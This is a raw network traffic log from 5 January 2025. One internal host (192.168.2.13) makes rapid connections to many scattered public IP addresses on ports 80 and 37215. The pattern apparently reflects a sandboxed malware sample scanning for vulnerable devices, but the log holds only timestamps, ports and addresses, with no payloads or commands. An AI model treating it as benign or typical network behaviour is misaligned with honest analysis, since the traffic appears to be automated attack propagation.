Jan 5, 2025 14:34:55.843481064 CET	37215	43716	41.19.166.133	192.168.2.13
Jan 5, 2025 14:34:55.843491077 CET	80	46554	63.43.10.28	192.168.2.13
Jan 5, 2025 14:34:55.843626976 CET	42380	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:55.843626976 CET	42380	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:55.843956947 CET	37215	38844	156.233.61.170	192.168.2.13
Jan 5, 2025 14:34:55.844115973 CET	52292	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:55.844136953 CET	52292	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:55.844202995 CET	43168	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:55.844655991 CET	53072	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:55.844662905 CET	80	46928	43.81.231.176	192.168.2.13
Jan 5, 2025 14:34:55.844830990 CET	49444	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:55.844830990 CET	49444	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:55.845228910 CET	37215	38642	41.171.143.145	192.168.2.13
Jan 5, 2025 14:34:55.845423937 CET	50232	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:55.845459938 CET	43618	37215	192.168.2.13	197.113.138.108
Jan 5, 2025 14:34:55.845782042 CET	60040	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:55.845782042 CET	60040	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:55.845952034 CET	80	54926	36.247.60.108	192.168.2.13
Jan 5, 2025 14:34:55.846050024 CET	60822	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:55.846395016 CET	58776	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:55.846399069 CET	37215	34848	41.7.178.161	192.168.2.13
Jan 5, 2025 14:34:55.846401930 CET	58776	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:55.846698046 CET	59558	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:55.847045898 CET	59486	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:55.847045898 CET	59486	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:55.847204924 CET	80	43882	143.206.192.80	192.168.2.13
Jan 5, 2025 14:34:55.847332954 CET	60268	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:55.847497940 CET	80	50166	92.185.151.122	192.168.2.13
Jan 5, 2025 14:34:55.847507954 CET	37215	40180	41.8.30.91	192.168.2.13
Jan 5, 2025 14:34:55.847517014 CET	80	37248	158.69.164.161	192.168.2.13
Jan 5, 2025 14:34:55.847527027 CET	37215	43950	197.60.138.82	192.168.2.13
Jan 5, 2025 14:34:55.847534895 CET	80	48844	78.20.11.62	192.168.2.13
Jan 5, 2025 14:34:55.847543001 CET	37215	44840	156.255.139.215	192.168.2.13
Jan 5, 2025 14:34:55.847551107 CET	80	54802	99.164.207.221	192.168.2.13
Jan 5, 2025 14:34:55.847771883 CET	37215	34378	41.254.38.116	192.168.2.13
Jan 5, 2025 14:34:55.848164082 CET	37215	35162	41.254.38.116	192.168.2.13
Jan 5, 2025 14:34:55.848205090 CET	35162	37215	192.168.2.13	41.254.38.116
Jan 5, 2025 14:34:55.848226070 CET	35162	37215	192.168.2.13	41.254.38.116
Jan 5, 2025 14:34:55.848391056 CET	80	42380	104.36.217.230	192.168.2.13
Jan 5, 2025 14:34:55.848921061 CET	37215	52292	41.16.186.169	192.168.2.13
Jan 5, 2025 14:34:55.849592924 CET	80	49444	110.68.47.188	192.168.2.13
Jan 5, 2025 14:34:55.850270033 CET	37215	43618	197.113.138.108	192.168.2.13
Jan 5, 2025 14:34:55.850300074 CET	43618	37215	192.168.2.13	197.113.138.108
Jan 5, 2025 14:34:55.850528955 CET	80	60040	113.43.149.121	192.168.2.13
Jan 5, 2025 14:34:55.851177931 CET	80	58776	51.175.132.128	192.168.2.13
Jan 5, 2025 14:34:55.851543903 CET	37215	48754	41.254.75.15	192.168.2.13
Jan 5, 2025 14:34:55.851553917 CET	80	54474	38.94.34.240	192.168.2.13
Jan 5, 2025 14:34:55.851562977 CET	80	41496	19.126.39.244	192.168.2.13
Jan 5, 2025 14:34:55.851572037 CET	37215	58694	156.88.155.128	192.168.2.13
Jan 5, 2025 14:34:55.851579905 CET	80	36182	131.92.77.249	192.168.2.13
Jan 5, 2025 14:34:55.851588964 CET	37215	35698	197.96.31.0	192.168.2.13
Jan 5, 2025 14:34:55.851597071 CET	80	48512	125.109.219.8	192.168.2.13
Jan 5, 2025 14:34:55.851830959 CET	80	59486	138.242.91.81	192.168.2.13
Jan 5, 2025 14:34:55.853072882 CET	37215	35162	41.254.38.116	192.168.2.13
Jan 5, 2025 14:34:55.853108883 CET	35162	37215	192.168.2.13	41.254.38.116
Jan 5, 2025 14:34:55.855551004 CET	37215	53588	197.158.150.50	192.168.2.13
Jan 5, 2025 14:34:55.855560064 CET	37215	51862	197.203.83.162	192.168.2.13
Jan 5, 2025 14:34:55.855568886 CET	37215	43414	156.29.56.92	192.168.2.13
Jan 5, 2025 14:34:55.855576038 CET	37215	57958	41.172.224.67	192.168.2.13
Jan 5, 2025 14:34:55.855583906 CET	37215	49258	156.126.78.211	192.168.2.13
Jan 5, 2025 14:34:55.856148005 CET	32834	80	192.168.2.13	194.183.164.23
Jan 5, 2025 14:34:55.856148005 CET	45310	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:55.856148005 CET	54720	37215	192.168.2.13	156.30.9.47
Jan 5, 2025 14:34:55.856151104 CET	55574	37215	192.168.2.13	41.248.19.218
Jan 5, 2025 14:34:55.856151104 CET	35414	37215	192.168.2.13	156.108.47.137
Jan 5, 2025 14:34:55.856151104 CET	33840	37215	192.168.2.13	156.122.226.193
Jan 5, 2025 14:34:55.856157064 CET	36728	80	192.168.2.13	41.64.231.50
Jan 5, 2025 14:34:55.856157064 CET	53604	80	192.168.2.13	207.228.250.37
Jan 5, 2025 14:34:55.856157064 CET	33562	37215	192.168.2.13	41.239.15.40
Jan 5, 2025 14:34:55.856163025 CET	56462	37215	192.168.2.13	197.136.101.209
Jan 5, 2025 14:34:55.856163025 CET	32826	37215	192.168.2.13	156.43.189.192
Jan 5, 2025 14:34:55.856163025 CET	46652	80	192.168.2.13	1.236.162.149
Jan 5, 2025 14:34:55.856163025 CET	38716	37215	192.168.2.13	156.251.12.197
Jan 5, 2025 14:34:55.856163025 CET	59838	37215	192.168.2.13	41.23.103.197
Jan 5, 2025 14:34:55.856163025 CET	33820	37215	192.168.2.13	156.243.109.113
Jan 5, 2025 14:34:55.856163025 CET	60424	80	192.168.2.13	65.19.217.78
Jan 5, 2025 14:34:55.856163979 CET	42346	80	192.168.2.13	220.24.54.57
Jan 5, 2025 14:34:55.856169939 CET	39864	37215	192.168.2.13	197.235.244.16
Jan 5, 2025 14:34:55.856169939 CET	50014	37215	192.168.2.13	41.137.125.72
Jan 5, 2025 14:34:55.856172085 CET	39940	80	192.168.2.13	85.20.129.185
Jan 5, 2025 14:34:55.856172085 CET	35928	80	192.168.2.13	52.162.205.233
Jan 5, 2025 14:34:55.856174946 CET	60972	37215	192.168.2.13	156.225.164.86
Jan 5, 2025 14:34:55.856174946 CET	53382	80	192.168.2.13	220.224.191.80
Jan 5, 2025 14:34:55.856175900 CET	40860	37215	192.168.2.13	41.62.163.85
Jan 5, 2025 14:34:55.856178999 CET	46588	80	192.168.2.13	93.214.231.0
Jan 5, 2025 14:34:55.856183052 CET	42924	80	192.168.2.13	151.48.15.95
Jan 5, 2025 14:34:55.856183052 CET	45306	80	192.168.2.13	53.227.17.241
Jan 5, 2025 14:34:55.856195927 CET	53102	80	192.168.2.13	139.174.195.137
Jan 5, 2025 14:34:55.856195927 CET	44454	80	192.168.2.13	196.143.46.158
Jan 5, 2025 14:34:55.856195927 CET	60030	80	192.168.2.13	159.255.40.76
Jan 5, 2025 14:34:55.856206894 CET	57730	80	192.168.2.13	121.102.216.112
Jan 5, 2025 14:34:55.860893965 CET	80	45310	197.26.207.114	192.168.2.13
Jan 5, 2025 14:34:55.860948086 CET	45310	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:55.861038923 CET	45310	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:55.861048937 CET	45310	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:55.861365080 CET	46092	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:55.865859985 CET	80	45310	197.26.207.114	192.168.2.13
Jan 5, 2025 14:34:55.879592896 CET	80	35082	23.224.32.45	192.168.2.13
Jan 5, 2025 14:34:55.879602909 CET	80	38300	180.183.87.174	192.168.2.13
Jan 5, 2025 14:34:55.879610062 CET	37215	43026	41.36.170.30	192.168.2.13
Jan 5, 2025 14:34:55.879617929 CET	80	46638	188.148.5.67	192.168.2.13
Jan 5, 2025 14:34:55.879626036 CET	37215	36132	156.141.115.233	192.168.2.13
Jan 5, 2025 14:34:55.879633904 CET	80	39778	83.126.174.186	192.168.2.13
Jan 5, 2025 14:34:55.879642010 CET	80	40610	209.164.155.93	192.168.2.13
Jan 5, 2025 14:34:55.879650116 CET	37215	57244	197.100.220.57	192.168.2.13
Jan 5, 2025 14:34:55.879657030 CET	80	33470	65.210.246.241	192.168.2.13
Jan 5, 2025 14:34:55.879664898 CET	37215	59460	41.232.203.93	192.168.2.13
Jan 5, 2025 14:34:55.883544922 CET	37215	34728	41.82.207.46	192.168.2.13
Jan 5, 2025 14:34:55.883553982 CET	80	52840	192.5.111.66	192.168.2.13
Jan 5, 2025 14:34:55.883562088 CET	37215	49196	197.247.78.82	192.168.2.13
Jan 5, 2025 14:34:55.883574963 CET	80	49448	178.237.118.100	192.168.2.13
Jan 5, 2025 14:34:55.883584023 CET	80	42704	57.119.84.72	192.168.2.13
Jan 5, 2025 14:34:55.883594036 CET	37215	42836	197.113.138.108	192.168.2.13
Jan 5, 2025 14:34:55.888149977 CET	42106	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:55.888149977 CET	47850	80	192.168.2.13	176.149.191.104
Jan 5, 2025 14:34:55.888149977 CET	43406	80	192.168.2.13	59.207.164.167
Jan 5, 2025 14:34:55.888151884 CET	34814	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:55.888154984 CET	44544	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:55.888154984 CET	38050	80	192.168.2.13	24.250.172.66
Jan 5, 2025 14:34:55.888164043 CET	54788	37215	192.168.2.13	156.222.140.232
Jan 5, 2025 14:34:55.888169050 CET	56164	80	192.168.2.13	207.181.173.59
Jan 5, 2025 14:34:55.888171911 CET	60698	80	192.168.2.13	14.97.135.180
Jan 5, 2025 14:34:55.888171911 CET	55666	37215	192.168.2.13	156.98.107.139
Jan 5, 2025 14:34:55.888171911 CET	38762	37215	192.168.2.13	41.124.152.186
Jan 5, 2025 14:34:55.888176918 CET	54418	37215	192.168.2.13	41.14.205.117
Jan 5, 2025 14:34:55.888176918 CET	34682	80	192.168.2.13	96.120.65.61
Jan 5, 2025 14:34:55.888176918 CET	49640	37215	192.168.2.13	197.144.181.13
Jan 5, 2025 14:34:55.888183117 CET	40482	37215	192.168.2.13	156.49.159.92
Jan 5, 2025 14:34:55.888183117 CET	44840	37215	192.168.2.13	197.80.106.248
Jan 5, 2025 14:34:55.888185024 CET	51156	80	192.168.2.13	132.2.243.211
Jan 5, 2025 14:34:55.888185978 CET	44224	80	192.168.2.13	78.220.83.21
Jan 5, 2025 14:34:55.888186932 CET	41606	80	192.168.2.13	160.138.100.144
Jan 5, 2025 14:34:55.888189077 CET	53460	80	192.168.2.13	187.2.59.252
Jan 5, 2025 14:34:55.888191938 CET	34294	37215	192.168.2.13	197.196.218.213
Jan 5, 2025 14:34:55.888192892 CET	42336	37215	192.168.2.13	156.33.35.45
Jan 5, 2025 14:34:55.888192892 CET	56204	80	192.168.2.13	1.217.177.101
Jan 5, 2025 14:34:55.888196945 CET	43106	80	192.168.2.13	178.160.234.244
Jan 5, 2025 14:34:55.888196945 CET	51012	80	192.168.2.13	102.130.92.204
Jan 5, 2025 14:34:55.888196945 CET	35702	80	192.168.2.13	210.5.76.127
Jan 5, 2025 14:34:55.888199091 CET	41142	37215	192.168.2.13	156.96.241.84
Jan 5, 2025 14:34:55.888199091 CET	57750	37215	192.168.2.13	41.69.215.93
Jan 5, 2025 14:34:55.888202906 CET	43084	37215	192.168.2.13	197.116.93.148
Jan 5, 2025 14:34:55.888205051 CET	40178	37215	192.168.2.13	197.232.51.110
Jan 5, 2025 14:34:55.888206959 CET	57544	37215	192.168.2.13	156.9.55.72
Jan 5, 2025 14:34:55.891570091 CET	80	43882	143.206.192.80	192.168.2.13
Jan 5, 2025 14:34:55.891578913 CET	37215	34848	41.7.178.161	192.168.2.13
Jan 5, 2025 14:34:55.891582966 CET	80	54926	36.247.60.108	192.168.2.13
Jan 5, 2025 14:34:55.891591072 CET	37215	38642	41.171.143.145	192.168.2.13
Jan 5, 2025 14:34:55.891594887 CET	80	46928	43.81.231.176	192.168.2.13
Jan 5, 2025 14:34:55.891602039 CET	37215	38844	156.233.61.170	192.168.2.13
Jan 5, 2025 14:34:55.891609907 CET	80	56372	85.66.186.124	192.168.2.13
Jan 5, 2025 14:34:55.891618013 CET	80	58776	51.175.132.128	192.168.2.13
Jan 5, 2025 14:34:55.891624928 CET	80	60040	113.43.149.121	192.168.2.13
Jan 5, 2025 14:34:55.891633034 CET	80	49444	110.68.47.188	192.168.2.13
Jan 5, 2025 14:34:55.891640902 CET	37215	52292	41.16.186.169	192.168.2.13
Jan 5, 2025 14:34:55.891649008 CET	80	42380	104.36.217.230	192.168.2.13
Jan 5, 2025 14:34:55.891655922 CET	37215	34378	41.254.38.116	192.168.2.13
Jan 5, 2025 14:34:55.892992973 CET	37215	34814	156.27.80.89	192.168.2.13
Jan 5, 2025 14:34:55.893002033 CET	37215	44544	156.58.186.145	192.168.2.13
Jan 5, 2025 14:34:55.893011093 CET	37215	42106	41.156.164.19	192.168.2.13
Jan 5, 2025 14:34:55.893033028 CET	34814	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:55.893035889 CET	42106	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:55.893038988 CET	44544	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:55.893136024 CET	42106	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:55.893136024 CET	42106	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:55.893443108 CET	42816	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:55.893783092 CET	34814	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:55.893783092 CET	34814	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:55.894061089 CET	35522	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:55.894406080 CET	44544	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:55.894406080 CET	44544	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:55.894664049 CET	45246	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:55.895530939 CET	80	59486	138.242.91.81	192.168.2.13
Jan 5, 2025 14:34:55.897922993 CET	37215	42106	41.156.164.19	192.168.2.13
Jan 5, 2025 14:34:55.898569107 CET	37215	34814	156.27.80.89	192.168.2.13
Jan 5, 2025 14:34:55.899194002 CET	37215	44544	156.58.186.145	192.168.2.13
Jan 5, 2025 14:34:55.907516956 CET	80	45310	197.26.207.114	192.168.2.13
Jan 5, 2025 14:34:55.920150042 CET	55202	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:55.920150995 CET	41384	37215	192.168.2.13	41.145.125.29
Jan 5, 2025 14:34:55.920150995 CET	48556	80	192.168.2.13	188.97.0.189
Jan 5, 2025 14:34:55.920151949 CET	39168	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:55.920151949 CET	51960	37215	192.168.2.13	156.88.186.105
Jan 5, 2025 14:34:55.920150995 CET	44382	37215	192.168.2.13	41.187.93.226
Jan 5, 2025 14:34:55.920150995 CET	42218	37215	192.168.2.13	197.82.230.55
Jan 5, 2025 14:34:55.920150995 CET	44042	80	192.168.2.13	85.21.168.38
Jan 5, 2025 14:34:55.920151949 CET	52150	37215	192.168.2.13	41.194.144.29
Jan 5, 2025 14:34:55.920157909 CET	46364	37215	192.168.2.13	156.16.23.0
Jan 5, 2025 14:34:55.920157909 CET	50634	80	192.168.2.13	157.0.75.117
Jan 5, 2025 14:34:55.920161963 CET	36358	37215	192.168.2.13	197.119.132.14
Jan 5, 2025 14:34:55.920166969 CET	48284	80	192.168.2.13	17.219.220.32
Jan 5, 2025 14:34:55.920166969 CET	53566	37215	192.168.2.13	41.8.74.192
Jan 5, 2025 14:34:55.920170069 CET	34522	37215	192.168.2.13	41.93.85.8
Jan 5, 2025 14:34:55.920170069 CET	36202	37215	192.168.2.13	156.122.87.248
Jan 5, 2025 14:34:55.920170069 CET	55170	37215	192.168.2.13	197.1.145.201
Jan 5, 2025 14:34:55.920172930 CET	36554	37215	192.168.2.13	41.205.3.80
Jan 5, 2025 14:34:55.920172930 CET	52848	80	192.168.2.13	153.20.1.20
Jan 5, 2025 14:34:55.920172930 CET	43792	80	192.168.2.13	223.76.76.80
Jan 5, 2025 14:34:55.920176029 CET	53088	80	192.168.2.13	113.229.189.168
Jan 5, 2025 14:34:55.920177937 CET	33756	80	192.168.2.13	174.193.240.193
Jan 5, 2025 14:34:55.920192957 CET	58858	80	192.168.2.13	31.80.239.115
Jan 5, 2025 14:34:55.920193911 CET	43000	80	192.168.2.13	133.103.30.246
Jan 5, 2025 14:34:55.920192957 CET	36752	80	192.168.2.13	165.11.0.69
Jan 5, 2025 14:34:55.920195103 CET	38936	80	192.168.2.13	41.22.54.60
Jan 5, 2025 14:34:55.924916983 CET	37215	55202	41.6.193.156	192.168.2.13
Jan 5, 2025 14:34:55.924945116 CET	37215	41384	41.145.125.29	192.168.2.13
Jan 5, 2025 14:34:55.924954891 CET	80	39168	69.206.208.139	192.168.2.13
Jan 5, 2025 14:34:55.924967051 CET	55202	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:55.924977064 CET	41384	37215	192.168.2.13	41.145.125.29
Jan 5, 2025 14:34:55.924997091 CET	39168	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:55.925029039 CET	41384	37215	192.168.2.13	41.145.125.29
Jan 5, 2025 14:34:55.925029039 CET	41384	37215	192.168.2.13	41.145.125.29
Jan 5, 2025 14:34:55.925158024 CET	39168	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:55.925158024 CET	39168	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:55.925338030 CET	42028	37215	192.168.2.13	41.145.125.29
Jan 5, 2025 14:34:55.925884962 CET	39812	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:55.926064968 CET	55202	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:55.926064968 CET	55202	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:55.926719904 CET	55846	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:55.929837942 CET	37215	41384	41.145.125.29	192.168.2.13
Jan 5, 2025 14:34:55.929917097 CET	80	39168	69.206.208.139	192.168.2.13
Jan 5, 2025 14:34:55.930059910 CET	37215	42028	41.145.125.29	192.168.2.13
Jan 5, 2025 14:34:55.930102110 CET	42028	37215	192.168.2.13	41.145.125.29
Jan 5, 2025 14:34:55.930119038 CET	42028	37215	192.168.2.13	41.145.125.29
Jan 5, 2025 14:34:55.930834055 CET	37215	55202	41.6.193.156	192.168.2.13
Jan 5, 2025 14:34:55.935044050 CET	37215	42028	41.145.125.29	192.168.2.13
Jan 5, 2025 14:34:55.935081959 CET	42028	37215	192.168.2.13	41.145.125.29
Jan 5, 2025 14:34:55.943543911 CET	37215	44544	156.58.186.145	192.168.2.13
Jan 5, 2025 14:34:55.943552971 CET	37215	34814	156.27.80.89	192.168.2.13
Jan 5, 2025 14:34:55.943557024 CET	37215	42106	41.156.164.19	192.168.2.13
Jan 5, 2025 14:34:55.952151060 CET	36896	37215	192.168.2.13	41.129.168.255
Jan 5, 2025 14:34:55.952148914 CET	43322	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:55.952151060 CET	44626	37215	192.168.2.13	156.107.222.143
Jan 5, 2025 14:34:55.952148914 CET	37602	37215	192.168.2.13	41.108.41.195
Jan 5, 2025 14:34:55.952156067 CET	51272	80	192.168.2.13	189.52.205.193
Jan 5, 2025 14:34:55.952151060 CET	43590	80	192.168.2.13	180.233.33.135
Jan 5, 2025 14:34:55.952151060 CET	37410	37215	192.168.2.13	41.225.127.84
Jan 5, 2025 14:34:55.952158928 CET	56866	80	192.168.2.13	145.213.212.153
Jan 5, 2025 14:34:55.952158928 CET	57032	37215	192.168.2.13	156.14.137.61
Jan 5, 2025 14:34:55.952164888 CET	59542	37215	192.168.2.13	197.223.211.120
Jan 5, 2025 14:34:55.952164888 CET	44740	80	192.168.2.13	146.153.158.241
Jan 5, 2025 14:34:55.952166080 CET	46668	80	192.168.2.13	130.235.117.29
Jan 5, 2025 14:34:55.952166080 CET	53934	37215	192.168.2.13	156.39.54.175
Jan 5, 2025 14:34:55.952167988 CET	52078	80	192.168.2.13	89.14.126.235
Jan 5, 2025 14:34:55.952167988 CET	52716	37215	192.168.2.13	156.48.66.60
Jan 5, 2025 14:34:55.952167988 CET	55696	80	192.168.2.13	82.188.144.25
Jan 5, 2025 14:34:55.952167988 CET	45510	80	192.168.2.13	180.209.26.214
Jan 5, 2025 14:34:55.952169895 CET	50552	80	192.168.2.13	222.19.206.23
Jan 5, 2025 14:34:55.952169895 CET	55648	80	192.168.2.13	5.242.128.66
Jan 5, 2025 14:34:55.952169895 CET	38346	80	192.168.2.13	72.135.25.4
Jan 5, 2025 14:34:55.952172041 CET	41406	37215	192.168.2.13	156.177.58.141
Jan 5, 2025 14:34:55.952173948 CET	49946	80	192.168.2.13	72.112.109.189
Jan 5, 2025 14:34:55.952189922 CET	46486	80	192.168.2.13	181.212.202.37
Jan 5, 2025 14:34:55.952188015 CET	33894	80	192.168.2.13	53.224.127.117
Jan 5, 2025 14:34:55.952189922 CET	57602	80	192.168.2.13	25.235.168.148
Jan 5, 2025 14:34:55.952194929 CET	43288	80	192.168.2.13	2.79.91.42
Jan 5, 2025 14:34:55.952194929 CET	44368	80	192.168.2.13	37.214.232.61
Jan 5, 2025 14:34:55.952198029 CET	44304	80	192.168.2.13	138.54.10.162
Jan 5, 2025 14:34:55.952200890 CET	50828	80	192.168.2.13	99.2.140.201
Jan 5, 2025 14:34:55.952200890 CET	59110	80	192.168.2.13	194.42.246.90
Jan 5, 2025 14:34:55.953305960 CET	80	41778	120.75.215.22	192.168.2.13
Jan 5, 2025 14:34:55.953353882 CET	41778	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:55.956917048 CET	37215	43322	156.40.240.210	192.168.2.13
Jan 5, 2025 14:34:55.956927061 CET	37215	37602	41.108.41.195	192.168.2.13
Jan 5, 2025 14:34:55.956968069 CET	43322	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:55.956968069 CET	37602	37215	192.168.2.13	41.108.41.195
Jan 5, 2025 14:34:55.957027912 CET	37602	37215	192.168.2.13	41.108.41.195
Jan 5, 2025 14:34:55.957027912 CET	37602	37215	192.168.2.13	41.108.41.195
Jan 5, 2025 14:34:55.957320929 CET	38178	37215	192.168.2.13	41.108.41.195
Jan 5, 2025 14:34:55.957660913 CET	43322	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:55.957660913 CET	43322	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:55.957936049 CET	43894	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:55.961839914 CET	37215	37602	41.108.41.195	192.168.2.13
Jan 5, 2025 14:34:55.962086916 CET	37215	38178	41.108.41.195	192.168.2.13
Jan 5, 2025 14:34:55.962131023 CET	38178	37215	192.168.2.13	41.108.41.195
Jan 5, 2025 14:34:55.962152004 CET	38178	37215	192.168.2.13	41.108.41.195
Jan 5, 2025 14:34:55.962430954 CET	37215	43322	156.40.240.210	192.168.2.13
Jan 5, 2025 14:34:55.967143059 CET	37215	38178	41.108.41.195	192.168.2.13
Jan 5, 2025 14:34:55.967184067 CET	38178	37215	192.168.2.13	41.108.41.195
Jan 5, 2025 14:34:55.971512079 CET	37215	55202	41.6.193.156	192.168.2.13
Jan 5, 2025 14:34:55.971520901 CET	80	39168	69.206.208.139	192.168.2.13
Jan 5, 2025 14:34:55.971525908 CET	37215	41384	41.145.125.29	192.168.2.13
Jan 5, 2025 14:34:55.984147072 CET	52292	37215	192.168.2.13	41.77.204.216
Jan 5, 2025 14:34:55.984148026 CET	44664	80	192.168.2.13	202.226.133.66
Jan 5, 2025 14:34:55.984153986 CET	42272	37215	192.168.2.13	197.235.231.188
Jan 5, 2025 14:34:55.984158039 CET	40760	80	192.168.2.13	32.252.123.78
Jan 5, 2025 14:34:55.984162092 CET	38410	37215	192.168.2.13	41.59.164.56
Jan 5, 2025 14:34:55.984162092 CET	39364	80	192.168.2.13	128.196.3.237
Jan 5, 2025 14:34:55.984167099 CET	60924	37215	192.168.2.13	41.239.146.28
Jan 5, 2025 14:34:55.984169960 CET	38366	37215	192.168.2.13	156.239.243.85
Jan 5, 2025 14:34:55.984169960 CET	56260	37215	192.168.2.13	41.115.244.235
Jan 5, 2025 14:34:55.984169960 CET	48174	37215	192.168.2.13	41.211.66.43
Jan 5, 2025 14:34:55.984173059 CET	39162	80	192.168.2.13	101.16.6.46
Jan 5, 2025 14:34:55.984173059 CET	34644	37215	192.168.2.13	156.12.177.37
Jan 5, 2025 14:34:55.984173059 CET	57558	37215	192.168.2.13	156.218.70.221
Jan 5, 2025 14:34:55.984174967 CET	34268	37215	192.168.2.13	197.79.235.221
Jan 5, 2025 14:34:55.984177113 CET	41958	37215	192.168.2.13	197.41.240.1
Jan 5, 2025 14:34:55.984177113 CET	38632	37215	192.168.2.13	156.156.115.92
Jan 5, 2025 14:34:55.984179974 CET	47462	37215	192.168.2.13	41.254.132.251
Jan 5, 2025 14:34:55.984179974 CET	54762	37215	192.168.2.13	156.159.243.29
Jan 5, 2025 14:34:55.984189034 CET	43574	37215	192.168.2.13	197.82.252.50
Jan 5, 2025 14:34:55.984189034 CET	49258	37215	192.168.2.13	197.67.199.62
Jan 5, 2025 14:34:55.984190941 CET	46378	37215	192.168.2.13	197.141.89.168
Jan 5, 2025 14:34:55.984190941 CET	44144	37215	192.168.2.13	197.114.127.230
Jan 5, 2025 14:34:55.984191895 CET	57684	37215	192.168.2.13	41.217.239.46
Jan 5, 2025 14:34:55.984190941 CET	44498	37215	192.168.2.13	41.125.40.90
Jan 5, 2025 14:34:55.984195948 CET	59822	37215	192.168.2.13	156.70.241.187
Jan 5, 2025 14:34:55.984200001 CET	49686	37215	192.168.2.13	197.200.61.43
Jan 5, 2025 14:34:55.984200001 CET	46822	37215	192.168.2.13	197.48.85.53
Jan 5, 2025 14:34:55.984200001 CET	48634	37215	192.168.2.13	197.64.10.196
Jan 5, 2025 14:34:55.984203100 CET	46284	37215	192.168.2.13	41.162.125.242
Jan 5, 2025 14:34:55.984205008 CET	55266	37215	192.168.2.13	197.146.203.197
Jan 5, 2025 14:34:55.984205008 CET	49548	37215	192.168.2.13	41.233.14.118
Jan 5, 2025 14:34:55.984205008 CET	50798	37215	192.168.2.13	41.89.219.57
Jan 5, 2025 14:34:55.984220982 CET	47408	37215	192.168.2.13	41.76.197.246
Jan 5, 2025 14:34:55.984225035 CET	46148	37215	192.168.2.13	197.238.159.217
Jan 5, 2025 14:34:55.984225988 CET	54896	37215	192.168.2.13	41.221.255.134
Jan 5, 2025 14:34:55.984225988 CET	32996	37215	192.168.2.13	41.216.120.57
Jan 5, 2025 14:34:55.984226942 CET	51864	37215	192.168.2.13	41.251.157.134
Jan 5, 2025 14:34:55.988981009 CET	37215	42272	197.235.231.188	192.168.2.13
Jan 5, 2025 14:34:55.988991022 CET	37215	52292	41.77.204.216	192.168.2.13
Jan 5, 2025 14:34:55.988998890 CET	80	44664	202.226.133.66	192.168.2.13
Jan 5, 2025 14:34:55.989036083 CET	42272	37215	192.168.2.13	197.235.231.188
Jan 5, 2025 14:34:55.989037037 CET	44664	80	192.168.2.13	202.226.133.66
Jan 5, 2025 14:34:55.989037037 CET	52292	37215	192.168.2.13	41.77.204.216
Jan 5, 2025 14:34:55.989070892 CET	29479	37215	192.168.2.13	197.204.47.59
Jan 5, 2025 14:34:55.989083052 CET	29477	80	192.168.2.13	109.143.48.61
Jan 5, 2025 14:34:55.989098072 CET	29479	37215	192.168.2.13	197.113.150.33
Jan 5, 2025 14:34:55.989108086 CET	29477	80	192.168.2.13	202.253.0.127
Jan 5, 2025 14:34:55.989108086 CET	29479	37215	192.168.2.13	197.143.5.51
Jan 5, 2025 14:34:55.989108086 CET	29477	80	192.168.2.13	152.134.105.11
Jan 5, 2025 14:34:55.989129066 CET	29477	80	192.168.2.13	126.237.216.232
Jan 5, 2025 14:34:55.989130020 CET	29479	37215	192.168.2.13	41.236.13.186
Jan 5, 2025 14:34:55.989130020 CET	29477	80	192.168.2.13	106.134.238.105
Jan 5, 2025 14:34:55.989130020 CET	29479	37215	192.168.2.13	41.49.202.27
Jan 5, 2025 14:34:55.989131927 CET	29477	80	192.168.2.13	163.221.230.69
Jan 5, 2025 14:34:55.989131927 CET	29477	80	192.168.2.13	204.2.21.166
